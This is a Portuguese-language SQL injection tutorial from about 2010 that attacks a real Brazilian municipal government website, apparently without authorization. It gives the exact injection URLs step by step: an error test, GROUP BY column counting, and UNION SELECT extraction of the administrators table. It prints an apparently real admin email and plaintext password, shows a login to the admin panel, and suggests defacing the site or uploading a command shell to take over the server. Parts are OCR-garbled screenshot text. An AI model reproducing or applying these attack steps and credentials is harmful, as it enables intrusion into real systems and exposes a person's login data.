MySQL Injection

Site para estudo: http://www.avai.sp.gov.br

Arquivo vulnerável:

http://www.avai.sp.gov.br/template.php?pagina=showCidade.php&id=14

Primeiro retiramos o "14" e colocamos o -1';

Assim saberemos se o site está vulnerável.

http://www.avai.sp.gov.br/template.php?pagina=showCidade.php&id=-1'



Apareceu o sequinte erro:

SQL ERROR: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near '\" at line 1

O site está vulnerável !

Vamos saber agora quantas colunas o site tem, colocamos o group by 1 para saber se tem a coluna 1

Link:

http://www.avai.sp.gov.br/template.php?pagina=showCidade.php&id=-1 group by 1

Se não aparecer nada existe essa coluna e se aparecer o erro, não existe a coluna. Esse site tem 3 colunas então o link:

http://www.avai.sp.gov.br/template.php?pagina=showCidade.php&id=-1 group by 3

Não vai retornar nenhum erro.

e o link:

http://www.avai.sp.gov.br/template.php?pagina=showCidade.php&id=-1 group by 4 retorna um erro.

Então descobrimos que o site tem 3 colunas agora vamos fazer o código union:

union all select 1,2,3

http://www.avai.sp.gov.br/template.php?pagina=showCidade.php&id=-1 union all select 1,2,3



Podemos visualizar a coluna 2 e 3.

Agora vamos achar o nome da tabela do site tentando várias possibilidades. Vamos lá !

Código: union all select 1,2,3 from "nome da tabela"--

O nome da tabela desse site é "administradores" mas poderia ser "user, username, usuários, admin, nome, nomes" etc...

Se aparecer a mesma imagem de antes sem erro é que essa é a tabela correta. Se aparecer o erro significa que a tabela está incorreta.

http://www.avai.sp.gov.br/template.php?pagina=showCidade.php&id=-1 UNION all SELECT 1,2,3 from administradores—

Agora é só você substituir a tabela 2 ou 3 por o nome da coluna que tenha os logins e senha do administrador, você também tem que ir testando, os nomes podem ser "usuário, username,root,admin,user,password,senha,pass,login,nome,name,email" para achar o usuário você coloca:

union all select 1,email,2,3 from administradores--

http://www.avai.sp.gov.br/template.php?pagina=showCidade.php&id=-1 union all select 1,email,3 from administradores-

irá aparecer o nome do e-mail que nesse caso é o login do administrador, mas na maioria das vezes o login é um nome mesmo.



Agora vamos descobrir a senha, usaremos a coluna número 3, assim nossa página terá o e-mail na coluna 2 e a senha na coluna 3 mostradas na tela, caso haja erro no nome da coluna da senha, não aparecerá nada, assim sabemos que erramos o nome da coluna.

http://www.avai.sp.gov.br/template.php?pagina=showCidade.php&id=-1 union all select 1,email,senha from administradores-

	- Lechologia e Pr	etertura Municia P	reteitura de Avai Preteitura M	Iunici 🕒 Pr
Prefeitura de		Domingo, 25 de Abril de 2010		
Aval	website oficial	Home Prefeitura	a Contas Públicas Licitações	Contato
-		-		_
Conheça a Cidade			bruno@ploo.co	m.br
História				
Símbolos			A 200 - 34	0
				3
Prefeitura				July
Prefeitura Câmara Municipal			avait sp. gowb	1 1
Prefeitura Câmara Municipal Aldeia Araribá			avatsp.gov.p	r
Prefeitura Câmara Municipal Aldeia Araribá Dados Gerais	123mudar		avaLsp.govp	Ac.
Prefeitura Câmara Municipal Aldeia Araribá Dados Gerais Localização	123mudar		avatsp.gov.b	AC
Prefeitura Câmara Municipal Aldeia Araribá Dados Gerais Localização Agricultura e Pecuária	123mudar A		avaLsp.gov.b	15
Prefeitura Câmara Municipal Aldeia Araribá Dados Gerais Localização Agricultura e Pecuária Comércio	123mudar T		avatsp.govp	74
Prefeitura Câmara Municipal Aldeia Araribá Dados Gerais Localização Agricultura e Pecuária Comércio Indústria	123mudar Î		avatsp.govp	
Prefeitura Câmara Municipal Aldeia Araribá Dados Gerais Localização Agricultura e Pecuária Comércio Indústria Turismo	123mudar T		avatsp.gov.b	

Agora temos o login e senha, nosso login é bruno@ploo.com.br e a senha é 123mudar, então entraremos no painel do administrador para podermos altera a index ou até enviar uma cmd para o servidor e tentar ganhar acesso a todo servidor.

Tentaremos achar a pagina do administrador na força bruta, testando mesmo, existem centenas de possibilidades mas as mais comuns são www.site.com/admin ; www.site.com/admin ; www.site.com/administrador.

Nesse caso o painel do administrador fica em http://www.avai.sp.gov.br/admin/

tórico Fa <u>v</u> oritos <u>F</u> erramentas Aj <u>u</u> da	- And		SENE IN	1 243	S F
n http://www.avai.sp.gov.br/admin/logi	n.form.php				습 -
UOL 🌐 CIFlorestas - Centro de 🖪 Hack0wn -	exploits : v SR Securi	tyReason.com 🔁 💰	[packet storm]: ht 🚺	Globo Tecnologia 🚮	MSN Dinhe
🛛 :: APARECIDA DO 📔 :: APARECIDA DO 🚺	G1 - Tecnologia e	Prefeitura Munici	Prefeitura de Avaí	🗋 Login - Admi 🗙	Prefe
		Avaí.sp.gov.	br ite		
	E-mail [2			
	Senha (Entrar			
	E	squeceu sua senha? Cli	que aqui.		

Agora é só entramos no painel do administrador.

http://www.avai.sp.gov.br/admin/logi	n.form.php			
RECIDA DO	• exploits : v SR Securit	Prefeitura Munici	Prefeitura de Avaí	Login - Admi ×
		Avaí.sp.gov.k websi	or te	
	E-mail [bruno@ploo.com.br		
	Senha 💽	••••••		
	Ļ	Entrar		

Estamos como administrador da página agora, podemos fazer um deface postando uma noticia, enviando uma cmd no local de enviar fotos da noticia ou em qualquer e outra sessão que aceite upload, para tentar ganhar acesso a todo servidor, porém nem sempre será possível fazer upload.



Boa Sorte !!!!

Baseado no tutorial escrito por M0nt3r.

by s4r4d0

Fatal Error ~ 2001 ~ 2010 ~ s4r4d0@yahoo.com